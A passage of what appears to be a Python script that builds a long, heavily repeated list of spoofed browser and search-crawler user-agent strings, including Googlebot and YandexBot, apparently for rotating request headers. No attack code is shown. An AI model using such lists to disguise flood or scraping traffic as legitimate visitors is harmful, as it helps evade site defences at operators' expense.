  2161.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2162.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1)')
  2163.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2164.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; {1C69E7AA-C14E-200E-5A77-8EAB2D667A07})')
  2165.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; acc=baadshah; acc=none; freenet DSL 1.1; (none))')
  2166.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 5.5; Windows 98)')
  2167.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; en) Opera 8.51')
  2168.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US; rv:1.8.0.1) Gecko/20060111 Firefox/1.5.0.1')
  2169.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; snprtz|S26320700000083|2600#Service Pack 1#2#5#154321|isdn)')
  2170.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; Alexa Toolbar; mxie; .NET CLR 1.1.4322)')
  2171.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; ja-jp) AppleWebKit/417.9 (KHTML, like Gecko) Safari/417.8')
  2172.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.7.12) Gecko/20051010 Firefox/1.0.7 (Ubuntu package 1.0.7)')
  2173.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2174.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2175.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2176.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2177.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2178.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2179.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2180.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2181.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2182.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2183.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2184.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2185.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2186.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2187.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2188.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2189.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2190.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2191.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2192.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2193.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2194.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2195.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2196.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2197.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2198.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2199.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2200.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2201.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2202.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2203.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2204.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2205.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2206.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2207.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2208.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2209.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2210.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2211.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2212.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2213.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2214.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2215.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2216.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2217.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2218.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2219.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2220.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2221.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2222.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2223.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2224.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2225.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2226.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2227.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2228.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2229.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2230.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2231.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2232.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2233.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30)')
  2234.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; .NET CLR 1.1.4322)')
  2235.     headers_useragents.append('Googlebot/2.1 (http://www.googlebot.com/bot.html)')
  2236.     headers_useragents.append('Opera/9.20 (Windows NT 6.0; U; en)')
  2237.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.8.1.1) Gecko/20061205 Iceweasel/2.0.0.1 (Debian-2.0.0.1+dfsg-2)')
  2238.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; Windows NT 5.1; Trident/4.0; FDM; .NET CLR 2.0.50727; InfoPath.2; .NET CLR 1.1.4322)')
  2239.     headers_useragents.append('Opera/10.00 (X11; Linux i686; U; en) Presto/2.2.0')
  2240.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; he-IL) AppleWebKit/528.16 (KHTML, like Gecko) Version/4.0 Safari/528.16')
  2241.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp/3.0; http://help.yahoo.com/help/us/ysearch/slurp)')
  2242.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.13) Gecko/20101209 Firefox/3.6.13')
  2243.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 9.0; Windows NT 5.1; Trident/5.0)')
  2244.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727)')
  2245.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0b; Windows NT 6.0)')
  2246.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0b; Windows 98)')
  2247.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.2.3) Gecko/20100401 Firefox/4.0 (.NET CLR 3.5.30729)')
  2248.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.8) Gecko/20100804 Gentoo Firefox/3.6.8')
  2249.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.2.7) Gecko/20100809 Fedora/3.6.7-1.fc14 Firefox/3.6.7')
  2250.     headers_useragents.append('Mozilla/5.0 (compatible; Googlebot/2.1; +http://www.google.com/bot.html)')
  2251.     headers_useragents.append('Mozilla/5.0 (compatible; Yahoo! Slurp; http://help.yahoo.com/help/us/ysearch/slurp)')
  2252.     headers_useragents.append('YahooSeeker/1.2 (compatible; Mozilla 4.0; MSIE 5.5; yahooseeker at yahoo-inc dot com ; http://help.yahoo.com/help/us/shop/merchant/)')
  2253.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2254.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2255.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2256.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2257.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2258.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2259.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2260.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2261.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 2.0.50727; InfoPath.2)')
  2262.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2263.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP)')
  2264.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2265.     headers_useragents.append('AppEngine-Google; (+http://code.google.com/appengine; appid: webetrex)')
  2266.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; AOL 9.7; AOLBuild 4343.19; Windows NT 6.1; WOW64; Trident/5.0; FunWebProducts)')
  2267.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.27; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2268.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.21; Windows NT 5.1; Trident/4.0; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2269.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; GTB7.2; .NET CLR 1.1.4322; .NET CLR 2.0.50727; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729)')
  2270.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2271.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 7.0; AOL 9.7; AOLBuild 4343.19; Windows NT 5.1; Trident/4.0; .NET CLR 2.0.50727; .NET CLR 3.0.04506.30; .NET CLR 3.0.04506.648; .NET CLR 3.0.4506.2152; .NET CLR 3.5.30729; .NET4.0C; .NET4.0E)')
  2272.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2273.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2274.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2275.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2276.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2277.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2278.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2279.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2280.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2281.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2282.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2283.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2284.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2285.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2286.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2287.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2288.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2289.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2290.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2291.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2292.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2293.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2294.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2295.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2296.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2297.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2298.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2299.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2300.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2301.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
  2302.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 6.0; Windows NT 6.1; Trident/4.0; GTB6; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.5.30729; .NET CLR 3.0.30729; Media Center PC 6.0; OfficeLiveConnector.1.4; OfficeLivePatch.1.3)')
  2303.     headers_useragents.append('Mozilla/5.0 (compatible; YandexBot/3.0; +http://yandex.com/bots)')
  2304.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; Intel Mac OS X 10_6_7; en-US) AppleWebKit/534.16 (KHTML, like Gecko) Chrome/10.0.648.205 Safari/534.16')
  2305.     headers_useragents.append('Mozilla/1.22 (X11; U; Linux x86_64; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1')
  2306.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; .NET CLR 3.0.30729; InfoPath.2)')
  2307.     headers_useragents.append('Opera/9.80 (Windows NT 5.2; U; ru) Presto/2.5.22 Version/10.51')
  2308.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 2.0; Windows CE; IEMobile 7.0)')
  2309.     headers_useragents.append('Mozilla/4.0 (Macintosh; U; PPC Mac OS X; en-US)')
  2310.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.0; en; rv:1.9.1.7) Gecko/20091221 Firefox/3.5.7')
  2311.     headers_useragents.append('BlackBerry8300/4.2.2 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/107 UP.Link/6.2.3.15.0')
  2312.     headers_useragents.append('Mozilla/1.22 (compatible; MSIE 2.0; Windows 3.1)')
  2313.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; Avant Browser [avantbrowser.com]; iOpus-I-M; QXW03416; .NET CLR 1.1.4322)')
  2314.     headers_useragents.append('Mozilla/3.0 (Windows NT 6.1; ru-ru; rv:1.9.1.3.) Win32; x86 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2315.     headers_useragents.append('Opera/7.0 (compatible; MSIE 2.0; Windows 3.1)')
  2316.     headers_useragents.append('Opera/9.80 (Windows NT 5.1; U; en-US) Presto/2.8.131 Version/11.10')
  2317.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; America Online Browser 1.1; rev1.5; Windows NT 5.1;)')
  2318.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows CE 4.21; rv:1.8b4) Gecko/20050720 Minimo/0.007')
  2319.     headers_useragents.append('BlackBerry9000/5.0.0.93 Profile/MIDP-2.0 Configuration/CLDC-1.1 VendorID/179')
  2320.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux x86_64; en-US; rv:1.9.1.3) Gecko/20090913 Firefox/3.5.3')
  2321.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; ru; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 2.0.50727)')
  2322.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.2; de-de; rv:1.9.1.3) Gecko/20090824 Firefox/3.5.3 (.NET CLR 3.5.30729)')
  2323.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 6.1; en-US; rv:1.9.1.1) Gecko/20090718 Firefox/3.5.1 (.NET CLR 3.0.04506.648)')
  2324.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.1; SV1; .NET CLR 2.0.50727; .NET4.0C; .NET4.0E')
  2325.     headers_useragents.append('Mozilla/5.0 (Windows; U; Windows NT 5.1; en-US) AppleWebKit/532.1 (KHTML, like Gecko) Chrome/4.0.219.6 Safari/532.1')
  2326.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.1; WOW64; Trident/4.0; SLCC2; .NET CLR 2.0.50727; InfoPath.2)')
  2327.     headers_useragents.append('Opera/9.60 (J2ME/MIDP; Opera Mini/4.2.14912/812; U; ru) Presto/2.4.15')
  2328.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; en-US) AppleWebKit/125.4 (KHTML, like Gecko, Safari) OmniWeb/v563.57')
  2329.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.2; U; Series60/3.1 NokiaN95_8GB/31.0.015; Profile/MIDP-2.0 Configuration/CLDC-1.1 ) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2330.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 6.0; Trident/4.0; SLCC1; .NET CLR 2.0.50727; .NET CLR 1.1.4322; .NET CLR 3.5.30729; .NET CLR 3.0.30729)')
  2331.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 8.0; Windows NT 5.2; Win64; x64; Trident/4.0)')
  2332.     headers_useragents.append('Mozilla/5.0 (Windows; U; WinNT4.0; en-US; rv:1.8.0.5) Gecko/20060706 K-Meleon/1.0')
  2333.     headers_useragents.append('Lynx/2.8.6rel.4 libwww-FM/2.14 SSL-MM/1.4.1 OpenSSL/0.9.8g')
  2334.     headers_useragents.append('Mozilla/4.76 [en] (PalmOS; U; WebPro/3.0.1a; Palm-Arz1)')
  2335.     headers_useragents.append('Mozilla/5.0 (Macintosh; U; PPC Mac OS X; de-de) AppleWebKit/418 (KHTML, like Gecko) Shiira/1.2.2 Safari/125')
  2336.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686 (x86_64); en-US; rv:1.8.1.6) Gecko/2007072300 Iceweasel/2.0.0.6 (Debian-2.0.0.6-0etch1+lenny1)')
  2337.     headers_useragents.append('Mozilla/5.0 (SymbianOS/9.1; U; en-us) AppleWebKit/413 (KHTML, like Gecko) Safari/413')
  2338.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows NT 5.1; Trident/4.0; SV1; .NET CLR 3.5.30729; InfoPath.2)')
  2339.     headers_useragents.append('Mozilla/5.0 (Windows; U; MSIE 7.0; Windows NT 6.0; en-US)')
  2340.     headers_useragents.append('Links (2.2; GNU/kFreeBSD 6.3-1-486 i686; 80x25)')
  2341.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows NT 5.0; WOW64; Trident/4.0; SLCC1)')
  2342.     headers_useragents.append('Mozilla/1.22 (compatible; Konqueror/4.3; Linux) KHTML/4.3.5 (like Gecko)')
  2343.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.0; Windows CE; IEMobile 6.5)')
  2344.     headers_useragents.append('Opera/9.80 (Macintosh; U; de-de) Presto/2.8.131 Version/11.10')
  2345.     headers_useragents.append('Mozilla/5.0 (X11; U; Linux i686; en-US; rv:1.9.1.9) Gecko/20100318 Mandriva/2.0.4-69.1mib2010.0 SeaMonkey/2.0.4')
  2346.     headers_useragents.append('Mozilla/4.0 (compatible; MSIE 6.1; Windows XP) Gecko/20060706 IEMobile/7.0')
  2347.     headers_useragents.append('Mozilla/5.0 (iPad; U; CPU OS 3_2 like Mac OS X; en-us) AppleWebKit/531.21.10 (KHTML, like Gecko) Version/4.0.4 Mobile/7B334b Safari/531.21.10')
  2348.     headers_useragents.append('Mozilla/5.0 (Macintosh; I; Intel Mac OS X 10_6_7; ru-ru)')
  2349.     headers_useragents.append('Mozilla/5.0 (compatible; MSIE 9.0; Windows NT 6.1; Trident/5.0)')
